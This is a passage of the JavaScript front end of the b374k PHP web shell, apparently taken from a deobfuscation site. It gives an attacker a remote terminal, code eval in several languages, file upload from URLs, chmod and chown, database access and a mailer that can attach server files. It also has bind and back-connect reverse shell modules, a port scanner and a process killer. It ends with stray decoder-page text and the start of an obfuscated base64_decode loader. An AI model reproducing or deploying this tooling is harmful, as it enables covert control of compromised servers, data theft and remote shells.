	ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";
	content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value='"+path+"'>";
	$('#explorer').html(content);
	ul_add_comp();
	ul_add_url();

	$('#ulDragNDrop').on('dragenter', function(e){
		e.stopPropagation();
		e.preventDefault();
	});

	$('#ulDragNDrop').on('dragover', function(e){
		e.stopPropagation();
		e.preventDefault();
	});

	$('#ulDragNDrop').on('drop', function(e){
		e.stopPropagation();
		e.preventDefault();

		files = e.target.files || e.dataTransfer.files;
		ulResult = $('.ulDragNDropResult');
		ulResult.html('');
		$.each(files, function(i){
			if(this){
				ulType = 'DragNDrop';
				filename = this.name;

				var formData = new FormData();
				formData.append('ulFile', this);
				formData.append('ulSaveTo', get_cwd());
				formData.append('ulFilename', filename);
				formData.append('ulType', 'comp');

				entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
				ulResult.append(entry);

				if(this.size<=0){
					$('.ulProgress'+ulType+i).html('( failed )');
					$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
					$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
				}
				else{
					ul_start(formData, ulType, i);
				}
			}
		});
	});
}

function ul_add_comp(path){
	path = html_safe($('.ul_path').val());
	$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
}

function ul_add_url(path){
	path = html_safe($('.ul_path').val());
	$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
}

function ul_start(formData, ulType, i){
	loading_start();
	$.ajax({
		url: targeturl,
		type: 'POST',
		data: formData,
		cache: false,
		contentType: false,
		processData: false,
		xhr: function(){
			myXhr = $.ajaxSettings.xhr();
			if(myXhr.upload){
				myXhr.upload.addEventListener('progress', function(e){
					percent = Math.floor(e.loaded / e.total * 100);
					$('.ulProgress'+ulType+i).html('( '+ percent +'% )');
				}, false);
			}
			return myXhr;
		},
		success: function(res){
			if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
				res = 'error';
			}

			if(res=='error'){
				$('.ulProgress'+ulType+i).html('( failed )');
			}
			else{
				$('.ulRes'+ulType+i).html(res);
			}
			loading_stop();
		},
		error: function(){
			loading_stop();
			$('.ulProgress'+ulType+i).html('( failed )');
			$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
			$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
		}
	});
}

function ul_go(ulType){
	ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
	ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
	ulResult.html('');

	ulFile.each(function(i){
		if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
			file = (ulType=='comp')? this.files[0]: this.value;
			filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);

			ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
			ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;

			var formData = new FormData();
			formData.append('ulFile', file);
			formData.append('ulSaveTo', ulSaveTo);
			formData.append('ulFilename', ulFilename);
			formData.append('ulType', ulType);

			entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
			ulResult.append(entry);

			check = true;
			if(ulType=='comp'){
				check = (file.size<=0);
			}
			else check = (file=="");

			if(check){
				$('.ulProgress'+ulType+i).html('( failed )');
				$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
				$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
			}
			else{
				ul_start(formData, ulType, i);
			}
		}
	});
}

function trap_ctrl_enter(el, e, callback){
	if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
		if(callback!=null) window[callback]();
	}
	fix_tabchar(el, e);
}

function edit_save_raw(){
	edit_save('edit');
}

function edit_save_hex(){
	edit_save('hex');
}

function edit_save(editType){
	editFilename = $('#editFilename').val();
	editInput = $('#editInput').val();
	editSuccess = false;
	preserveTimestamp = 'false';
	if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
	send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
		function(res){
		if(res!='error'){
			editSuccess = 'success';
			view(editFilename, editType, preserveTimestamp);
		}
		else editSuccess = 'error';
		}
	);
}



function mass_act(type){
	buffer = get_all_cbox_selected('xplTable', 'xpl_href');

	if((type=='cut')||(type=='copy')){
		localStorage.setItem('bufferLength', buffer.length);
		localStorage.setItem('bufferAction', type);
		$.each(buffer,function(i,v){
			localStorage.setItem('buffer_'+i, v);
		});
	}
	else if(type=='paste'){
		bufferLength = localStorage.getItem('bufferLength');
		bufferAction = localStorage.getItem('bufferAction');
		if(bufferLength>0){
			massBuffer = '';
			for(var i=0;i<bufferLength;i++){
				if((buff = localStorage.getItem('buffer_'+i))){
					massBuffer += buff + '
';
				}
			}
			massBuffer = $.trim(massBuffer);

			if(bufferAction=='cut') title = 'move';
			else if(bufferAction=='copy') title = 'copy';

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}

	}
	else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
		if(type=='extract (tar)') arcType = 'untar';
		else if(type=='extract (tar.gz)') arcType = 'untargz';
		else if(type=='extract (zip)') arcType = 'unzip';

		if(buffer.length>0){
			massBuffer = '';
			$.each(buffer,function(i,v){
				massBuffer += v + '
';
			});
			massBuffer = $.trim(massBuffer);
			title = type;

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'  onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}
	}
	else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
		date = new Date();
		rand = date.getTime();
		if(type=='compress (tar)'){
			arcType = 'tar';
			arcFilename = rand+'.tar';
		}
		else if(type=='compress (tar.gz)'){
			arcType = 'targz';
			arcFilename = rand+'.tar.gz';
		}
		else if(type=='compress (zip)'){
			arcType = 'zip';
			arcFilename = rand+'.zip';
		}

		if(buffer.length>0){
			massBuffer = '';
			$.each(buffer,function(i,v){
				massBuffer += v + '
';
			});
			massBuffer = $.trim(massBuffer);
			title = type;

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}
	}
	else if(type!=''){
		if(buffer.length>0){
			massBuffer = '';
			$.each(buffer,function(i,v){
				massBuffer += v + '
';
			});
			massBuffer = $.trim(massBuffer);
			title = type;
			line = '';
			if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
			else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
			else if(type=='touch'){
				var now = new Date();
				line = "<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
			}

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}
	}

	$('.cBoxSelected').removeClass('cBoxSelected');
	xpl_update_status();
}

function mass_act_go_tar(){
	mass_act_go('tar');
}

function mass_act_go_targz(){
	mass_act_go('targz');
}

function mass_act_go_zip(){
	mass_act_go('zip');
}

function mass_act_go_untar(){
	mass_act_go('untar');
}

function mass_act_go_untargz(){
	mass_act_go('untargz');
}

function mass_act_go_unzip(){
	mass_act_go('unzip');
}

function mass_act_go_paste(){
	mass_act_go('paste');
}

function mass_act_go_chmod(){
	mass_act_go('chmod');
}

function mass_act_go_chown(){
	mass_act_go('chown');
}

function mass_act_go_touch(){
	mass_act_go('touch');
}

function mass_act_go(massType){
	massBuffer = $.trim($('.massBuffer').val());
	massPath = get_cwd();
	massValue = '';
	if(massType=='paste'){
		bufferLength = localStorage.getItem('bufferLength');
		bufferAction = localStorage.getItem('bufferAction');
		if(bufferLength>0){
			massBuffer = '';
			for(var i=0;i<bufferLength;i++){
				if((buff = localStorage.getItem('buffer_'+i))){
					massBuffer += buff + '
';
				}
			}
			massBuffer = $.trim(massBuffer);
			if(bufferAction=='copy') massType = 'copy';
			else if(bufferAction=='cut') massType = 'cut';
		}
	}
	else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
		massValue = $('.massValue').val();
	}
	else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
		massValue = $('.massValue').val();
	}
	else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
		massValue = $('.massValue').val();
	}


	if(massBuffer!=''){
		send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue }, function(res){
			if(res!='error'){
				$('.boxresult').html(res+' Operation(s) succeeded');
			}
			else $('.boxresult').html('Operation(s) failed');
			navigate(get_cwd());
		});
	}
}

function xpl_update_status(){
	totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
	if(totalSelected==0) $('.xplSelected').html('');
	else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
}


function xpl_bind(){
	$('.navigate').off('click');
	$('.navigate').on('click', function(e){
		path = xpl_href($(this));
		navigate(path);
		hide_box();
	});

	$('.navbar').off('click');
	$('.navbar').on('click', function(e){
		path = $(this).attr('data-path');
		navigate(path);
		hide_box();
	});

	$('.newfolder').off('click');
	$('.newfolder').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		newfolder(path);
	});

	$('.newfile').off('click');
	$('.newfile').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		newfile(path);
	});

	$('.del').off('click');
	$('.del').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		del(path);
	});

	$('.view').off('click');
	$('.view').on('click', function(e){
		path = xpl_href($(this));
		view(path, 'auto');
		hide_box();
	});

	$('.hex').off('click');
	$('.hex').on('click', function(e){
		path = xpl_href($(this));
		view(path, 'hex');
	});

	$('#viewFullsize').off('click');
	$('#viewFullsize').on('click', function(e){
		src = $('#viewImage').attr('src');
		window.open(src);
	});

	$('.edit').off('click');
	$('.edit').on('click', function(e){
		path = xpl_href($(this));
		view(path, 'edit');
		hide_box();
	});

	$('.ren').off('click');
	$('.ren').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		ren(path);
	});

	$('.action').off('click');
	$('.action').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		action(path, 'file');
	});

	$('.actionfolder').off('click');
	$('.actionfolder').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		action(path, 'dir');
	});

	$('.actiondot').off('click');
	$('.actiondot').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		action(path, 'dot');
	});

	$('.dl').off('click');
	$('.dl').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		$('#form').append("<input type='hidden' name='download' value='"+path+"'>");
		$('#form').submit();
		$('#form').html('');
		hide_box();
	});

	$('.ul').off('click');
	$('.ul').on('click', function(e){
		path = xpl_href($(this));
		navigate(path, false);
		path = html_safe(path);
		ul(path);
		hide_box();
	});

	$('.find').off('click');
	$('.find').on('click', function(e){
		path = xpl_href($(this));
		navigate(path, false);
		path = html_safe(path);
		find(path);
		hide_box();
	});

	$('#massAction').off('click');
	$('#massAction').on('change', function(e){
		type = $('#massAction').val();
		mass_act(type);
		$('#massAction').val('Action');
	});

	cbox_bind('xplTable','xpl_update_status');
}

function xpl_href(el){
	return el.parent().parent().attr('data-path');
}

function multimedia(path){
	var a = $('video').get(0);
	send_post({multimedia:path}, function(res){
		a.src = res;
	});
	hide_box();
}

$('#terminalInput').on('keydown', function(e){
	if(e.keyCode==13){
		cmd = $('#terminalInput').val();
		terminalHistory.push(cmd);
		terminalHistoryPos = terminalHistory.length;
		if(cmd=='clear'||cmd=='cls'){
			$('#terminalOutput').html('');
		}
		else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
			path = $.trim(path[1]);
			navigate(path);
		}
		else if(cmd!=''){
			send_post({ terminalInput: cmd }, function(res){
				cwd = html_safe(get_cwd());
				res = '<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe(cmd)+ '
' + res+'
';
				$('#terminalOutput').append(res);
				bottom = $(document).height()-$(window).height();
				$(window).scrollTop(bottom);
			});
		}
		$('#terminalInput').val('');
		setTimeout("$('#terminalInput').focus()",100);
	}
	else if(e.keyCode==38){
		if(terminalHistoryPos>0){
			terminalHistoryPos--;
			$('#terminalInput').val(terminalHistory[terminalHistoryPos]);
			if(terminalHistoryPos<0) terminalHistoryPos = 0;
		}
	}
	else if(e.keyCode==40){
		if(terminalHistoryPos<terminalHistory.length-1){
			terminalHistoryPos++;
			$('#terminalInput').val(terminalHistory[terminalHistoryPos]);
			if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos = terminalHistory.length;
		}
	}
	fix_tabchar(this, e);
});

function eval_go(){
	evalType = $('#evalType').val();
	evalInput = $('#evalInput').val();
	evalOptions = $('#evalOptions').val();
	evalArguments = $('#evalArguments').val();

	if(evalOptions=='Options/Switches') evalOptions = '';
	if(evalArguments=='Arguments') evalArguments = '';

	if($.trim(evalInput)!=''){
		send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
			function(res){
				if(res!='error'){
					splits = res.split('{[|b374k|]}');
					if(splits.length==2){
						output = splits[0]+"<hr>"+splits[1];
						$('#evalOutput').html(output);
					}
					else{
						$('#evalOutput').html(res);
					}
				}
			}
		);
	}
}

function eval_init(){
	if((evalSupported = localStorage.getItem('evalSupported'))){
		eval_bind();
		output("eval : "+evalSupported);
		evalReady = true;
	}
	else{
		send_post({evalGetSupported:"evalGetSupported"}, function(res){
			evalReady = true;
			if(res!="error"){
				localStorage.setItem('evalSupported', res);
				evalSupported = res;
				eval_bind();
				output("eval : "+evalSupported);
			}
		});
	}
}

function eval_bind(){
	if((evalSupported!=null)&&(evalSupported!='')){
		splits = evalSupported.split(",");
		$.each(splits, function(i, k){
			$('#evalType').append("<option>"+k+"</option>");
		});
	}
	$('#evalType').on('change', function(e){
		if($('#evalType').val()=='php'){
			$('#evalAdditional').hide();
		}
		else{
			$('#evalAdditional').show();
		}
	});
	$('#evalOptions').on('focus', function(e){
		options = $('#evalOptions');
		if(options.val()=='Options/Switches') options.val('');
	});
	$('#evalOptions').on('blur', function(e){
		options = $('#evalOptions');
		if($.trim(options.val())=='') options.val('Options/Switches');
	});
	$('#evalArguments').on('focus', function(e){
		args = $('#evalArguments');
		if(args.val()=='Arguments') args.val('');
	});
	$('#evalArguments').on('blur', function(e){
		args = $('#evalArguments');
		if($.trim(args.val())=='') args.val('Arguments');
	});

	$('#evalInput').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			eval_go();
		}
		fix_tabchar(this, e);
	});
}
Zepto(function($){
	$('#decodeStr').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			decode_go();
		}
		fix_tabchar(this, e);
	});
});

function decode_go(){
	decodeStr = $('#decodeStr').val();
	send_post({decodeStr:decodeStr}, function(res){
		if(res!='error'){
			$('#decodeResult').html('');
			$('#decodeResult').html(res);
		}
	});
}


Zepto(function($){
	db_init();

});

var dbSupported = "";
var dbPageLimit = 50;

function db_init(){
	if((dbSupported = localStorage.getItem('db_supported'))){
		db_bind();
		output("db : "+dbSupported);
		db_add_supported();
	}
	else{
		send_post({dbGetSupported:""}, function(res){
			if(res!="error"){
				localStorage.setItem('dbSupported', res);
				dbSupported = res;
				db_bind();
				output("db : "+dbSupported);
				db_add_supported();
			}
		});
	}
}

function db_add_supported(){
	splits = dbSupported.split(",");
	$.each(splits, function(i, k){
		$('#dbType').append("<option>"+k+"</option>");
	});
}

function db_bind(){
	$('#dbType').on('change', function(e){
		type = $('#dbType').val();
		if((type=='odbc')||(type=='pdo')){
			$('.dbHostLbl').html('DSN / Connection String');
			$('.dbUserRow').show();
			$('.dbPassRow').show();
			$('.dbPortRow').hide();

		}
		else if((type=='sqlite')||(type=='sqlite3')){
			$('.dbHostLbl').html('DB File');
			$('.dbUserRow').hide();
			$('.dbPassRow').hide();
			$('.dbPortRow').hide();

		}
		else{
			$('.dbHostLbl').html('Host');
			$('.dbUserRow').show();
			$('.dbPassRow').show();
			$('.dbPortRow').show();
		}
	});

	$('#dbQuery').on('focus', function(e){
		if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
			$('#dbQuery').val('');
		}
	});
	$('#dbQuery').on('blur', function(e){
		if($('#dbQuery').val()==''){
			$('#dbQuery').val('You can also press ctrl+enter to submit');
		}
	});
	$('#dbQuery').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			db_run();
		}
	});
}

function db_nav_bind(){
	dbType = $('#dbType').val();
	$('.boxNav').off('click');
	$('.boxNav').on('click', function(){
		$(this).next().toggle();
	});

	$('.dbTable').off('click');
	$('.dbTable').on('click', function(){
		type = $('#dbType').val();
		table = $(this).html();
		db = $(this).parent().parent().parent().prev().html();
		db_query_tbl(type, db, table, 0, dbPageLimit);
	});
}

function db_connect(){
	dbType = $('#dbType').val();
	dbHost = $('#dbHost').val();
	dbUser = $('#dbUser').val();
	dbPass = $('#dbPass').val();
	dbPort = $('#dbPort').val();
	send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){
		if(res!='error'){
			$('#dbNav').html(res);
			$('.dbHostRow').hide();
			$('.dbUserRow').hide();
			$('.dbPassRow').hide();
			$('.dbPortRow').hide();
			$('.dbConnectRow').hide();
			$('.dbQueryRow').show();
			$('#dbBottom').show();
			db_nav_bind();
		}
		else $('.dbError').html('Unable to connect');
	});
}

function db_disconnect(){
	$('.dbHostRow').show();
	$('.dbUserRow').show();
	$('.dbPassRow').show();
	$('.dbPortRow').show();
	$('.dbConnectRow').show();
	$('.dbQueryRow').hide();
	$('#dbNav').html('');
	$('#dbResult').html('');
	$('#dbBottom').hide();
}

function db_run(){
	dbType = $('#dbType').val();
	dbHost = $('#dbHost').val();
	dbUser = $('#dbUser').val();
	dbPass = $('#dbPass').val();
	dbPort = $('#dbPort').val();
	dbQuery = $('#dbQuery').val();

	if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
		send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){
			if(res!='error'){
				$('#dbResult').html(res);
				$('.tblResult').each(function(){
					sorttable.k(this);
				});
			}
		});
	}
}

function db_query_tbl(type, db, table, start, limit){
	dbType = $('#dbType').val();
	dbHost = $('#dbHost').val();
	dbUser = $('#dbUser').val();
	dbPass = $('#dbPass').val();
	dbPort = $('#dbPort').val();

	send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
		if(res!='error'){
			$('#dbResult').html(res);
			$('.tblResult').each(function(){
				sorttable.k(this);
			});
		}
	});
}

function db_pagination(type){
	db = $('#dbDB').val();
	table = $('#dbTable').val();
	start = parseInt($('#dbStart').val());
	limit = parseInt($('#dbLimit').val());
	dbType = $('#dbType').val();

	if(type=='next'){
		start = start+limit;
	}
	else if(type=='prev'){
		start = start-limit;
		if(start<0) start = 0;
	}
	db_query_tbl(dbType, db, table, start, limit);
}

Zepto(function($){
	info_init();

});

function info_init(){
	if((infoResult = localStorage.getItem('infoResult'))){
		$('.infoResult').html(infoResult);
	}
	else{
		info_refresh();
	}
}

function info_toggle(id){
	$('#'+id).toggle();
}

function info_refresh(){
	send_post({infoRefresh:'infoRefresh'}, function(res){
		$('.infoResult').html(res);
		localStorage.setItem('infoResult', res);
	});
}

Zepto(function($){

});

function mail_send(){
	mailFrom = $.trim($('#mailFrom').val());
	mailTo = $.trim($('#mailTo').val());
	mailSubject = $.trim($('#mailSubject').val());
	mailContent = $('#mailContent').val();
	mailAttachment = '';
	if($('.mailAttachment')){
		mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}');
	}

	send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){
		$('#mailResult').html(res);
	});
}

function mail_attach(){
	content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
	$('#mailTBody').append(content);
}

Zepto(function($){
	rs_init();

});

function rs_init(){
	if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
		splits = evalSupported.split(",");
		$.each(splits, function(i, k){
			$('.rsType').append("<option>"+k+"</option>");
		});
	}
	else setTimeout('rs_init()', 1000);

	$('#packetContent').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			packet_go();
		}
		fix_tabchar(this, e);
	});
}

function rs_go_bind(){
	rs_go('bind');
}
function rs_go_back(){
	rs_go('back');
}

function rs_go(rsType){
	rsArgs = "";
	if(rsType=='bind'){
		rsPort = parseInt($('#bindPort').val());
		rsLang = $('#bindLang').val();
		rsArgs = rsPort;
		rsResult = $('#bindResult');
	}
	else if(rsType=='back'){
		rsAddr = $('#backAddr').val();
		rsPort = parseInt($('#backPort').val());
		rsLang = $('#backLang').val();
		rsArgs = rsPort + ' ' + rsAddr;
		rsResult = $('#backResult');
	}

	if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
		rsResult.html('Invalid port');
		return;
	}

	if(rsArgs!=''){
		send_post({ rsLang:rsLang, rsArgs:rsArgs },
			function(res){
				if(res!='error'){
					splits = res.split('{[|b374k|]}');
					if(splits.length==2){
						output = splits[0]+"<hr>"+splits[1];
						rsResult.html(output);
					}
					else{
						rsResult.html(res);
					}
				}
			}
		);
	}
}

function packet_go(){
	packetHost = $('#packetHost').val();
	packetStartPort = parseInt($('#packetStartPort').val());
	packetEndPort = parseInt($('#packetEndPort').val());
	packetTimeout = parseInt($('#packetTimeout').val());
	packetSTimeout = parseInt($('#packetSTimeout').val());
	packetContent = $('#packetContent').val();
	packetResult = $('#packetResult');
	packetStatus = $('#packetStatus');

	if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
		packetResult.html('Invalid start port');
		return;
	}
	if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
		packetResult.html('Invalid end port');
		return;
	}
	if((isNaN(packetTimeout))||(packetTimeout<=0)){
		packetResult.html('Invalid connection timeout');
		return;
	}
	if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
		packetResult.html('Invalid stream timeout');
		return;
	}

	if(packetStartPort>packetEndPort){
		start = packetEndPort;
		end = packetStartPort;
	}
	else{
		start = packetStartPort;
		end = packetEndPort;
	}

	packetResult.html('');
	while(start<=end){
		packetPort = start++;
		packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");
		packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);

	}
}

function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){
	send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){
		$('#packet'+packetPort).html(res);
	}, false);
}

Zepto(function($){
	show_processes();
});

function show_processes(){
	send_post({showProcesses:''}, function(res){
		if(res!='error'){
			$('#processes').html(res);
			sorttable.k($('#psTable').get(0));
			ps_bind();
		}
	});
}

function ps_bind(){
	$('.kill').off('click');
	$('.kill').on('click', function(e){
		kill_pid(ps_get_pid($(this)));
	});


	cbox_bind('psTable','ps_update_status');
}

function ps_get_pid(el){
	return el.parent().parent().attr('data-pid');
}

function ps_update_status(){
	totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
	if(totalSelected==0) $('.psSelected').html('');
	else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
}

function kill_selected(){
	buffer = get_all_cbox_selected('psTable', 'ps_get_pid');

	allPid = '';
	$.each(buffer,function(i,v){
		allPid += v + ' ';
	});
	allPid = $.trim(allPid);
	kill_pid(allPid);
}

function kill_pid(allPid){
	title = 'Kill';
	content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
	show_box(title, content);
}

function kill_pid_go(){
	allPid = $('.allPid').val();
	if($.trim(allPid)!=''){
		send_post({allPid:allPid}, function(res){
			if(res!='error'){
				$('.boxresult').html(res + ' process(es) killed');
			}
			else $('.boxresult').html('Unable to kill process(es)');
			show_processes();
		});
	}
}


<?php
	foreach($GLOBALS['module_to_load'] as $k){
		echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }
";
	}
?>
</script>
<!--script end-->
</body>
</html><?php die();?>

Did this file decode correctly?

Original Code

<?php
$a = strtr("bask64_mkcomk","km","ed");
